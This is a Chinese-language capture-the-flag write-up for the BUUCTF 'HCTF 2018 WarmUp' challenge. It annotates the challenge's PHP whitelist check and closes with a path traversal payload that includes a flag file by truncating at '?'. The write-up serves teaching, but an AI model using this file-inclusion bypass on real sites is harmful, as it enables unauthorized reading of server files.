[BUUCTF] [HCTF 2018] WarmUp
php 代码审计
打开地址后一个滑稽
老手艺f12
访问source.php
<?php
highlight_file(__FILE__); //打印代码
class emmm //定义类 emmm
{
public static function checkFile(&$page) //函数checkFile,参数赋给$fage
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单数组
if (! isset($page) || !is_string($page)) { //如果$page变量不存在 或 不是字符串
echo "you can't see it"; //输出“you cat't see it”
return false; //放回fales
}
if (in_array($page, $whitelist)) { //如果$page变量存在于白名单数组中
return true; //返回true
}
$_page = mb_substr( //截取$page中'?'前的部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //截取之后如果$page变量存在于白名单中
return true; //返回true
}
$_page = urldecode($page); //url解码$page
$_page = mb_substr( //第二次截取
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //再判断是否存在白名单
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //$_REQUEST['file']值为非空
&& is_string($_REQUEST['file']) //且为字符串
&& emmm::checkFile($_REQUEST['file']) //且能通过checkFile函数校验
) {
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; //打印滑稽这个表情
}
?>
一段php代码
找到 $whitelist = [“source”=>“source.php”,“hint”=>“hint.php”]; 白名单里有的,访问一下
提示说在文件ffffllllaaaagggg中,这里肯定访问不到这个地址,需要构造,先看代码,看到最后一段if部分,这里将代码意思标注在代码块中。
三个条件:值非空、字符串、能够通过checkFile函数校验
满足即包含这个文件,这里就是ffffllllaaaagggg,包含之后就显示flag了,否则打印滑稽表情。
再跟进checkFile()函数,
大体意思就是:
1.第一个if语句对变量进行检验,要求$page为字符串,否则返回false
2.第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
3.第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
4.第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
根据以上
http://7a0b1690-2914-4501-95bd-2970d73ff8b6.node4.buuoj.cn:81/?file=hint.php
首先是如上地址,会拿到flag is not here的提示,hint.php 也再白名单中,我们可以直接在此基础上进行构造
截取?之前的部分,因此我们添加一个? 然后包含的文件值ffffllllaaaagggg,第四个if是解码,直接在url中构造解码之后还是不变,所以不要多管。
直接这样构造并没有回显,因为具体ffffllllaaaagggg的位置不知道,通过…/依次寻找
payload: ?file =hint.php?../…/…/…/…/ffffllllaaaagggg